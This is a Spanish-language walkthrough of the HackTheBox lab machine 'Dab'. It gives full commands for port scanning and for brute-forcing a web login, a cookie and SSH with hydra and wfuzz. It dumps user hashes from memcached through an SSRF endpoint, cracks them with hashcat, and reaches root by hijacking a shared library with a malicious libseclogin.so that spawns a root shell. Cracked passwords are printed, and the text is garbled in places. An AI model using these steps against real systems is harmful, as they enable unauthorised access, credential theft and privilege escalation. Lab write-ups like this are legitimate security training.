Vamos a jugar un desafio de hackthebox llamado Dab...
Empecemos:
Primeramente agregamos /etc/hosts
Empecemos:
Primeramente agregamos /etc/hosts
nano /etc/hosts
10.10.10.86 dab.htb dabLuego vamos por un profundo escaneo de puertos.
nmap -T4 -A -p- 10.10.10.86
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=admin&password=^PASS^&submit=Login:Error" -t 64
Ahora podemoe tener mas información. Ahora vemos el puerto 8080 en el cual nos menciona sobre las cookie, así que asumo que tengo que usar esta cookie para obtener una contraseña.
GET / HTTP/1.1
Host: 10.10.10.86:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DxqkiA.OYuJHTWIWB1g9SZkiYc-kfcRhdY
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
wfuzz -c -z file,/usr/share/seclists/Passwords/UserPassCombo-Jay.txt --hh 324 -u http://10.10.10.86:8080 -b password=FUZZ -t 50Estoy haciendo fuerza bruta desde la cookie.
GET / HTTP/1.1 Host: 10.10.10.86:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DxqkiA.OYuJHTWIWB1g9SZkiYc-kfcRhdY;password=secret; DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
http://10.10.10.86:8080/socket?port=6969&cmd=nc%2010.10.13.155cuando ejecutamos cualquier comando vemos "intento de hacking" por lo que se está ejecutando memcached. Ahora he googleado sobre "memcached".... es un sistema distribuido de propósito general para caché basado en memoria, diseñado por Danga Interactive y que es muy usado en la actualidad por múltiples sitios web. Osea un caché basado en claves que almacena datos y objetos. Dondequiera que haya RAM disponible para un acceso rápido por las aplicaciones, sin pasar por las capas de análisis I/O de disco. De acuerdo con MySQL y la guía de memcached, por defecto, los usos de memcached los siguientes ajustes: • Asignación de memoria de 64MB • Escucha las conexiones en todas las interfaces de red, utilizando el puerto 11211 • Admite un máximo de 1024 conexiones simultáneas Al leer un montón sobre memcached encontré esta interesante información: HERE
stats slabsSegundo Comando:
stats cachedump 26 1000
stats cachedump 26 0#26 es el número de slab donde se almacenaron los datos, había otras slab pero no contaban ningún dato. Esto nos muestra que hay una clave llamada usuarios así. Tercer Comando:
get key usersEsto nos muestra un dic con todos los usuarios y sus hash md5 496 usuarios.
Ahora vamos a seprar los usuarios y los hash.
cat get-users.txt | python -m json.tool > creadpag.txtAhora extraeremos los nombres de usuario y los hashes MD5 de creadpag.txt:
cat creadpag.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > users.txtAhora para hacer tan sencillo vamos a usar metasploit para conseguir el usuario de ssh.
msfconsole -q
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 10.10.10.86
set USER_FILE /root/Documents/HTB/Dab/users.txt
exploitY encontro la contraseña.
Ahora vamos a crackear los hash.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt --forceY para separlo
cat cracked.txt | cut -d ":" -f 2 > passwords.txtY hacemos una fuerza bruta a ssh
hydra -l 'genevieve' -P passwords.txt 10.10.10.86 sshY ahora accedemos
ssh [email protected]password: Princess1
Al usar "sudo -l" encontramos un binario que se encuentra en "/usr/bin/try_harder" pero realmente no me sirvio.... Ahora empece a enumerar
find / -user root -perm -4000 2>/dev/nullNotamos dos entradas inusuales en esta salida:
Ahora me lo descargo myexec a mi maquina con python -m SimpleHTTPServer 6969 y ejecutamos el siguiente comando:
radare2 myexec
[0x00400740]> aaa
[0x00400740]> pdf @ mainLa contraseña es s3cur3l0g1n. Uno de los comandos (además de los típicos tales como getfacl, getcap, etc.) es objdump que muestra la información de los ficheros objeto. Vamos a mostrar el contenido de todas las cabeceras usando la opción -x para el miexec:
objdump -x /usr/bin/myexecComo lo indica la salida, el binario de myexec depende de dos bibliotecas dinámicas (.so shared objects files). Esto significa que el programa hace referencia a estas bibliotecas en tiempo de ejecución (de manera similar a Windows .dll). Podemos ver esto ejecutando ldd que imprime dependencias de objetos compartidos:
ldd /usr/bin/myexecCentrémonos en la biblioteca libseclogin.so, ya que libc es la biblioteca estándar de C. El libseclogin shared object es propiedad de root y no tenemos permisos de escritura en el directorio /usr/lib/ desde donde que se hace referencia a la biblioteca.
ls -la /usr/lib/libseclogin.so
-rwxr-xr-x 1 root root 8120 Mar 25 23:46 /usr/lib/libseclogin.soLuego tenemos información para escalar privilegios.
nano /etc/ld.so.conf.d/priviesc.confagregamos
/dev/shm/
ldconfig /etc/ld.so.conf.d/priviesc.conf
cd /dev/shm
nano libseclogin.c
#includeAhora lo compilamos.#include #include #include void seclogin() { setuid(0); setgid(0); execl("/bin/bash","sh",(char *)0); } int main(void) { seclogin(); }
gcc -shared -o libseclogin.so -fPIC libseclogin.c
ldconfig -l /dev/shm/libseclogin.so
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
myexeccomo contraseñas "s3cur3l0g1n"
wc -c /root/root.txt
cat /root/root.txtListo tenemos root... joder si me costo demasiado! Gracias por leer el post
0 Comments